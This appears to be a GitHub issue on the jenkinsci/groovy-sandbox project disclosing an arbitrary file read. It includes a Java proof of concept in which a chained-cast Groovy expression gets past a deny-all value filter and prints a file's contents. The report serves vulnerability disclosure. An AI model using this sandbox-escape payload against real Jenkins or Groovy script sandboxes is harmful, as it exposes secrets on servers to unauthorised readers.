Arbitrary file read - Githubissues

The following script can read files, even with a DenyAll filter

import java.io.FileOutputStream;
import java.io.IOException;

import org.codehaus.groovy.control.CompilerConfiguration;
import org.kohsuke.groovy.sandbox.GroovyValueFilter;
import org.kohsuke.groovy.sandbox.SandboxTransformer;

import groovy.lang.GroovyShell;

public class Main {

    public static void main(String[] args) throws IOException {
        try(FileOutputStream fos=new FileOutputStream("secret.txt")){
            fos.write("Super Secret".getBytes());
        }

        GroovyShell gs = new GroovyShell(new CompilerConfiguration().addCompilationCustomizers(new SandboxTransformer()));
        GroovyValueFilter fa = new GroovyValueFilter() {
            @Override
            public Object filter(Object o) {
                throw new RuntimeException("Denied");
            }
        };
        fa.register();
        try {
            System.out.println(gs.evaluate("var i=0;{->if(i){return['secret.txt']as Object[]}else{i=1;return;}}as Collection as File as Object[]as Collection"));
        }finally {
            fa.unregister();
        }
    }

}

Expected output: RuntimeException: Denied Output: [Super Secret]

Using groovy-3.0-alpha-4 & Java 1.8

jenkinsci / groovy-sandbox

Arbitrary file read #53